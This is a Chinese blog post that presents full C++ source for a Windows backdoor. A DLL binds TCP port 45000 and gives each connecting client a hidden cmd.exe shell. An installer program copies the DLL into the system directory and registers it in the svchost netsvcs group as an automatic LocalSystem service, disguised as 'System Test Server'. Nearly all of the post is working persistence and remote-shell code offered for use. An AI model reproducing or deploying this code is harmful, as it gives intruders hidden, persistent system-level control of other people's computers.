zoukankan      html  css  js  c++  java
  • 安全之路 —— 利用SVCHost.exe系统服务实现后门自启动

    简介

    在Windows系统中有一个系统服务控制器,叫做SVCHost.exe,它可以用来管理系统的多组服务。它与普通的服务控制不同的是它采用dll导出的ServiceMain主函数实现服务运行,详细原理可参照Blog:SVCHOST启动服务实战。我们在使用此方法时,要有两个步骤:

    1. 编写dll文件封装ServiceMain导出函数
    2. 编写负责服务安装与移除的exe文件
    3. 本例中需要将.exe与.dll文件放置在同一个文件夹下运行,.exe文件会将dll复制进系统目录。

    C++代码样例

    1. DLL程序代码:
    ///////////////////////////////////////
    //
    // FileName : sysWork.cpp
    // Creator : PeterZ1997
    // Date : 2018-5-8 22:07
    // Comment : Dll of ServiceMain Function
    //
    ///////////////////////////////////////
    
    #include <cstdio>
    #include <iostream>
    #include <cstdlib>
    #include <cstring>
    #include <strsafe.h>
    #include <WinSock2.h>
    #include <winsock.h>
    #include <windows.h>
    #include <winsvc.h>
    
    using namespace std;
    #pragma comment(lib, "ws2_32.lib")
    
    SERVICE_STATUS g_ServiceStatus;
    SERVICE_STATUS_HANDLE g_hServiceStatus;
    
    const unsigned int MAX_COUNT = 255; /// String Max Length
    const DWORD PORT = 45000;           /// Listen Port
    const unsigned int LINK_COUNT = 30; /// Max Link Number
    
    
    /**
     * @brief CallBack Function to Translate Service Control Code
     * @param dwCode        Service Control Code
     */
    void WINAPI ServiceControl(DWORD dwCode)
    {
        switch (dwCode)
        {
            //服务暂停
        case SERVICE_CONTROL_PAUSE:
            g_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
            break;
            //服务继续
        case SERVICE_CONTROL_CONTINUE:
            g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
            break;
            //服务停止
        case SERVICE_CONTROL_STOP:
            g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
            g_ServiceStatus.dwWin32ExitCode = 0;
            g_ServiceStatus.dwCheckPoint = 0;
            g_ServiceStatus.dwWaitHint = 0;
            break;
        case SERVICE_CONTROL_INTERROGATE:
            break;
        default:
            break;
        }
        //设置服务状态
        if (SetServiceStatus(g_hServiceStatus, &g_ServiceStatus) == 0)
        {
            printf("Set Service Status Error
    ");
        }
        return;
    }
    
    /**
     * @brief Start Remote Shell
     * @param lpParam       the Client Handle
     */
    DWORD WINAPI StartShell(LPVOID lpParam)
    {
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        CHAR cmdline[MAX_COUNT] = { 0 };
        GetStartupInfo(&si);
        si.cb = sizeof(STARTUPINFO);
        si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)lpParam;
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        si.wShowWindow = SW_HIDE;
        GetSystemDirectory(cmdline, sizeof(cmdline));
        strcat_s(cmdline, sizeof(cmdline), "\cmd.exe");
        while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
        {
            Sleep(100);
        }
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        return 0;
    }
    
    
    /**
     * @brief Service Running Function
     * @param lpParam      NULL
     */
    DWORD WINAPI RunService(LPVOID lpParam)
    {
        CHAR wMessage[MAX_COUNT] = "<================= Welcome to Back Door >_< ==================>
    ";
        SOCKET sClient[30];
        DWORD dwThreadId[30];
        HANDLE hThread[30];
        WSADATA wsd;
        if (WSAStartup(0x0202, &wsd))
        {
            printf("WSAStartup Process Error
    ");
            return 0;
        }
        SOCKET sListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
        sockaddr_in sin;
        sin.sin_family = AF_INET;
        sin.sin_port = htons(PORT);
        sin.sin_addr.S_un.S_addr = INADDR_ANY;
        if (bind(sListen, (LPSOCKADDR)&sin, sizeof(sin))) return 0;
        if (listen(sListen, LINK_COUNT)) return 0;
        for (int i = 0; i < LINK_COUNT; i++)
        {
            sClient[i] = accept(sListen, NULL, NULL);
            hThread[i] = CreateThread(NULL, 0, StartShell, (LPVOID)sClient[i], 0, &dwThreadId[i]);
            send(sClient[i], wMessage, strlen(wMessage), 0);
        }
        WaitForMultipleObjects(LINK_COUNT, hThread, TRUE, INFINITE);
        return 0;
    }
    
    /**
     * @brief Export Function
     */
    extern"C" __declspec(dllexport) void __stdcall ServiceMain(DWORD dwArgc, LPTSTR *lpArgv)
    {
        HANDLE hThread;
        g_ServiceStatus.dwCheckPoint = 0;
        g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_STOP;
        g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
        g_ServiceStatus.dwServiceSpecificExitCode = 0;
        g_ServiceStatus.dwServiceType = SERVICE_WIN32;
        g_ServiceStatus.dwWaitHint = 0;
        g_ServiceStatus.dwWin32ExitCode = 0;
        g_hServiceStatus = RegisterServiceCtrlHandler("BackDoor", ServiceControl);
        if (!g_hServiceStatus)
        {
            printf("Register Service Error
    ");
            return;
        }
        g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
        g_ServiceStatus.dwCheckPoint = 0;
        g_ServiceStatus.dwWaitHint = 0;
        if (!SetServiceStatus(g_hServiceStatus, &g_ServiceStatus))
        {
            printf("Set ServiceStatus Error !
    ");
            return;
        }
        hThread = CreateThread(NULL, 0, RunService, NULL, 0, NULL);
        if (!hThread)
        {
            printf("Create Thread Error
    ");
        }
        return;
    }
    
    /**
     * @brief DLL Main Function
     */
    BOOL APIENTRY DllMain(HANDLE hModule,
        DWORD ul_reason_for_call,
        LPVOID lpReserved)
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_DETACH:
        {
            ServiceControl(SERVICE_CONTROL_STOP);
            break;
        }
        default:
            break;
        }
        return TRUE;
    }

    2 . EXE程序代码:

    //////////////////////////////////////////////
    //
    // FileName : SVCHostDemo.cpp
    // Creator : PeterZ1997
    // Date : 2018-5-8 01:17
    // Comment : use SVCHost.exe to achieve software auto-run
    //
    //////////////////////////////////////////////
    
    #include <iostream>
    #include <cstdio>
    #include <cstdlib>
    #include <cstring>
    #include "strsafe.h"
    #include <windows.h>
    #include <winsvc.h>
    #include <shlwapi.h>
    #pragma comment(lib, "shlwapi.lib")
    
    using namespace std;
    
    const unsigned int MAX_COUNT = 255;      //字符串长度
    CHAR szRegInfo[MAX_COUNT] = "";        //注册表信息缓冲区
    SC_HANDLE g_hServiceHandle;              //服务实例句柄
    SERVICE_STATUS g_ssServiceStatus;        //服务状态结构体
    SERVICE_STATUS_HANDLE g_ssServiceHandle; //服务状态句柄
    
    /**
     * @brief 封装REG_MULTI_SZ型注册表操作
     * @param hRoot            root key
     * @param szSubKey         sub key after the root key
     * @param szValueName      key name
     * @param szData           key Data
     * @param cp               length of (BYTE*)szValue
     */
    BOOL setSZMultiStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPSTR szValue, DWORD cp)
    {
        HKEY hKey;
        long lRet;
        if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
        if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_MULTI_SZ, (BYTE*)szValue, cp)) return false;
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return true;
    }
    
    /**
     * @brief 封装REG_SZ型注册表操作
     * @param hRoot             root key
     * @param szSubKey          sub key after the root key
     * @param szValueName       key name
     * @param szData            key Data
     */
    BOOL setSZStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPCSTR szValue)
    {
        HKEY hKey;
        long lRet;
        if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
        if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szValue, strlen(szValue))) return false;
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return true;
    }
    /**
    * @brief 封装REG_EXPAND_SZ型注册表操作
    * @param hRoot           root key
    * @param szSubKey        sub key after the root key
    * @param szValueName     key name
    * @param szData          key Data
    */
    BOOL setExpandSZStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPCSTR szValue)
    {
        HKEY hKey;
        long lRet;
        if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
        if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_EXPAND_SZ, (BYTE*)szValue, strlen(szValue))) return false;
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return true;
    }
    
    /**
     * @brief 封装DWORD型注册表操作
     * @param hRoot          root key
     * @param szSubKey       sub key after the root key
     * @param szValueName    key name
     * @param szData         key Data
     */
    BOOL setDWORDValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, DWORD szValue)
    {
        HKEY hKey;
        long lRet;
        if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
        if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_DWORD, (BYTE*)&szValue, sizeof(DWORD))) return false;
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return true;
    }
    
    /**
     * @brief get Registry Value Info(REG_MULTI_SZ)
     * @param hRoot         root key
     * @param szSubKey      sub key after the root key
     * @param szValueName   key name
     */
    BOOL getRegInfo(HKEY hRoot, LPCTSTR szSubKey, LPCTSTR szValueName)
    {
        HKEY hKey;
        DWORD dwType = REG_MULTI_SZ;
        DWORD dwLenData = strlen(szRegInfo);
        LONG lRes = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
        if (lRes != ERROR_SUCCESS)
        {
            RegCloseKey(hKey);
            RegCloseKey(hRoot);
            return false;
        }
        RegQueryValueEx(hKey, szValueName, 0, &dwType, NULL, &dwLenData);
        lRes = RegQueryValueEx(hKey, szValueName, 0, &dwType, (LPBYTE)szRegInfo, &dwLenData);
        if (lRes != ERROR_SUCCESS)
        {
            RegCloseKey(hKey);
            RegCloseKey(hRoot);
            return false;
        }
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return true;
    }
    
    /**
     * @brief CallBack Function to Translate Service Control Code
     * @param dwCode       Service Control Code
     */
    void WINAPI ServiceControl(DWORD dwCode)
    {
        switch (dwCode)
        {
        case SERVICE_CONTROL_PAUSE:
            g_ssServiceStatus.dwCurrentState = SERVICE_PAUSED;
            break;
        case SERVICE_CONTROL_CONTINUE:
            g_ssServiceStatus.dwCurrentState = SERVICE_RUNNING;
            break;
        case SERVICE_CONTROL_STOP:
            g_ssServiceStatus.dwCurrentState = SERVICE_STOPPED;
            g_ssServiceStatus.dwWin32ExitCode = 0;
            g_ssServiceStatus.dwCheckPoint = 0;
            g_ssServiceStatus.dwWaitHint = 0;
            break;
        case SERVICE_CONTROL_INTERROGATE:
            break;
        default:
            break;
        }
        if (SetServiceStatus(g_ssServiceHandle, &g_ssServiceStatus) == 0)
        {
            printf("Set Service Status Error
    ");
        }
        return;
    }
    
    /**
     * @brief 安装服务
     */
    BOOL InstallService()
    {
        CHAR szSysPath[MAX_COUNT] = "";
        CHAR szRegGroup[MAX_COUNT][MAX_COUNT] = { "" };
        CHAR* szTargetString = (CHAR*)malloc(MAX_COUNT * 8);
        memset(szTargetString, 0, sizeof(szTargetString));
        register int count = 0;
        register int cp = 0;
        GetSystemDirectory(szSysPath, sizeof(szSysPath));
        StringCchCat(szSysPath, sizeof(szSysPath), "\sysWork.dll");
        CopyFile("sysWork.dll", szSysPath, true);
        setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\NewService", "Description", "System Test Server");
        setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\NewService", "DisplayName", "NewService");
        setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\NewService", "ErrorControl", 0x00000001);
        setExpandSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\NewService", "ImagePath", "%systemRoot%\system32\svchost.exe -k netsvcs");
        setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\NewService", "ObjectName", "LocalSystem");
        setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\NewService", "Start", 0x00000002);
        setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\NewService", "Type", 0x00000010);
        setExpandSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\NewService\Parameters", "ServiceDll", szSysPath);
        getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost", "netsvcs");
        register LPSTR p = LPSTR(szRegInfo);
        for (; *p; p += strlen(p) + 1, count++)
        {
            StringCchCopy(szRegGroup[count], sizeof(szRegGroup[count]), p);
        }
        StringCchCopy(szRegGroup[count], sizeof(szRegGroup), "NewService");
        p = LPSTR(szTargetString);
        for (int i = 0; i <= count; i++)
        {
            strcpy_s(p, strlen(szRegGroup[i]) + 1, szRegGroup[i]);
            p += strlen(szRegGroup[i]) + 1;
            cp += strlen(szRegGroup[i]) + 1;
        }
        setSZMultiStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost", "netsvcs", szTargetString, cp);
        return true;
    }
    
    /**
     * @brief 移除服务
     */
    BOOL RemoveService()
    {
        SC_HANDLE hscManager;
        CHAR szRegGroup[MAX_COUNT][MAX_COUNT] = { "" };
        CHAR* szTargetString = (CHAR*)malloc(MAX_COUNT * 8);
        memset(szTargetString, 0, sizeof(szTargetString));
        register int count = 0;
        register int cp = 0;
        CHAR szSysPath[MAX_COUNT] = "";
        GetSystemDirectory(szSysPath, sizeof(szSysPath));
        StringCchCat(szSysPath, sizeof(szSysPath), "\sysWork.dll");
        hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
        if (!hscManager)
        {
            printf("Open Service Manager Error
    ");
            return false;
        }
        printf("Open Service Manager Success
    ");
        g_hServiceHandle = OpenService(hscManager, "NewService", SERVICE_ALL_ACCESS);
        if (!g_hServiceHandle)
        {
            printf("Open Service Error
    ");
            return false;
        }
        printf("Open Service Success
    ");
        if (QueryServiceStatus(g_hServiceHandle, &g_ssServiceStatus))
        {
            if (g_ssServiceStatus.dwCurrentState == SERVICE_RUNNING)
            {
                ControlService(g_hServiceHandle, SERVICE_CONTROL_STOP, &g_ssServiceStatus);
            }
        }
        else
        {
            printf("Service Status Get Error
    ");
            CloseServiceHandle(g_hServiceHandle);
            CloseServiceHandle(hscManager);
            return false;
        }
        if (!DeleteService(g_hServiceHandle))
        {
            printf("Delete Service Error
    ");
            CloseServiceHandle(g_hServiceHandle);
            CloseServiceHandle(hscManager);
            return false;
        }
        if (SHDeleteKey(HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\NewService"))
        {
            printf("Delete RegKey Error
    ");
            CloseServiceHandle(g_hServiceHandle);
            CloseServiceHandle(hscManager);
            return false;
        }
        memset(szRegInfo, 0, sizeof(szRegInfo));
        getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost", "netsvcs");
        register LPSTR p = LPSTR(szRegInfo);
        for (; *p; p += strlen(p) + 1)
        {
            if (!strcmp(p, "NewService"))
            {
                continue;
            }
            StringCchCopy(szRegGroup[count], sizeof(szRegGroup[count]), p);
            count++;
        }
        p = LPSTR(szTargetString);
        for (int i = 0; i <= count; i++)
        {
            strcpy_s(p, strlen(szRegGroup[i]) + 1, szRegGroup[i]);
            p += strlen(szRegGroup[i]) + 1;
            cp += strlen(szRegGroup[i]) + 1;
        }
        setSZMultiStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost", "netsvcs", szTargetString, cp);
        printf("Remove Service Success
    ");
        DeleteFile(szSysPath);
        CloseServiceHandle(g_hServiceHandle);
        CloseServiceHandle(hscManager);
        return true;
    }
    
    /**
     * @brief Main Function
     */
    int main(int argc, char* argv[])
    {
        if (argc == 2)
        {
            if (!stricmp(argv[1], "--install"))
            {
                if (!InstallService())
                {
                    printf("[!]Service Operation Error
    ");
                }
                else
                {
                    printf("[*]Service Operation Success
    ");
                }
            }
            else if (!stricmp(argv[1], "--remove"))
            {
                if (!RemoveService())
                {
                    printf("[!]Service Operation Error
    ");
                }
                else
                {
                    printf("[*]Service Operation Success
    ");
                }
            }
            else
            {
                printf("[Usage] => *.exe [--install]/[--remove]
    ");
            }
        }
        else {
            printf("[Usage] => *.exe [--install]/[--remove]
    ");
        }
        return 0;
    }
  • 相关阅读:
    [kuangbin带你飞]专题十二 基础DP1 E
    hdu 1203 I NEED A OFFER! (01背包)
    hdu 2602 Bone Collector (01背包)
    hdu 4513 吉哥系列故事——完美队形II (manacher)
    hdu 2203 亲和串 (KMP)
    hdu 1686 Oulipo (KMP)
    hdu 1251 统计难题 (字典树)
    hdu 2846 Repository (字典树)
    hdu 1711 Number Sequence (KMP)
    poj 3461 Oulipo(KMP)
  • 原文地址:https://www.cnblogs.com/csnd/p/12897011.html
Copyright © 2011-2022 走看看